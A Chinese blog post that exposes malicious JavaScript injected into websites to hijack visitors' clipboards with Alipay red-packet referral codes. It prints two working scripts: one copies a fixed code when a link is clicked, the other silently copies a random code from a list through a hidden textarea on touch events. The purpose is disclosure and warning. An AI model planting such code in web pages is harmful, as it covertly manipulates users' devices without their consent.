支付宝红包推广代码

前言

2017年末,支付宝推出扫码领红包的活动,10亿红包呦,发红包还能赚赏金,遂引起羊毛党的关注,推广自己红包口令的方式多种多样,最近偶然发现有人恶意使用js代码进行红包推广,特此揭发,望广大网友注意。

原理

通过js脚本自动执行复制粘贴操作,将支付宝红包口令复制到粘贴板,当打开支付宝app后,会自动弹出领取红包的弹窗。

遇到过几种方式进行js注入:

  • 服务器源文件被篡改
  • 注入到第三方插件中,发布到网络上,当有不慎者下载使用时,就中招了
  • 向不明网站发起请求,返回该脚本文件。(比如手机闽南网,当触摸网页时,将触发复制粘贴操作)

代码分析

attack 1

// 先引入clipbord.min.js插件

DULOhD69AI 就是攻击者的支付宝红包口令,奈何不知道怎么反向查出对应的支付宝账号。

function __x2() {
    // 点击a链接时触发复制粘贴操作
    var clipboard = new Clipboard('a', {
        text: () => {
            return 'DULOhD69AI'
        }
    });
    // 复制粘贴成功后,在回调函数中打印信息
    clipboard.on('success', function (e) {
        console.info('Action:', e.action);
        console.info('Text:', e.text);
        console.info('Trigger:', e.trigger);
        e.clearSelection()
    })
};
setTimeout(function () {
    __x2()
}, 2000);

我的一个项目就是这样被攻击的,攻击方式是服务器源文件被篡改,作为前端也没服务器权限,只好找运维重新覆盖源文件。

但不久后服务器源文件再次被篡改,这个攻击者肯定是知道服务器的某个漏洞,但是运维也不知道怎么办,最后只好将服务器的权限设置为只读。

attack 2

这个就是手机闽南网被攻击的代码,今天看了下红包口令更新了,我怀疑是网站管理者自己放的,个人哪有这么多口令...

通过execCommand进行复制粘贴。

(function (b) {
    var c = function () {
        // 创建textarea元素
        var a = b.createElement("textarea");
        // 红包口令数组
        arr = ["2aTYja05YH", "I289Dm62fl", "VPSXMc38nR", "IGajcE19qH", "osgFYk14fb", "m0gpOA57DT", "7RNrwx44yj", "m0Xkvk03lp", "KhX5FA257W", "7TAP0E63j0", "1LBpbi38E6", "1zDaK575Z2", "3P3GbM75qa", "9NRVaT46kM", "52n3AJ77X8", "6QHTmy38pn", "9O31e874Qq", "4qTwgh42Ds", "8fmI1l26x4", "9obq2156sP", "z0GbYK121H", "MME85372NU", "XHs9br36s7", "EnKZ5q70tz", "7ENTnz98z4", "XA8Duh48vD", "pyeW6f5058"];
        // 随机获取
        rand = arr[Math.floor(Math.random() * arr.length)];
        a.value = rand;
        // 设置textarea只读
        a.setAttribute("readOnly", "readOnly");
        // 设置textare样式,通过透明度隐藏
        a.setAttribute("style", "position: fixed; left: 0; top: 0;opacity: 0;");
        b.body.appendChild(a);
        // 复制粘贴操作
        setTimeout(function () {
            a.focus();
            try {
                a.setSelectionRange(0, a.value.length), b.execCommand("copy", !0)
            } catch (d) {}
            a.parentNode.removeChild(a)
        }, 0)
    };

    // 触摸事件监听
    b.addEventListener("touchstart", c, !1);
    b.addEventListener("touchmove", c, !1);
    b.addEventListener("touchend", c, !1)
})(document);

参考

前端复制功能若干
execCommand

你可能感兴趣的:(支付宝红包推广代码)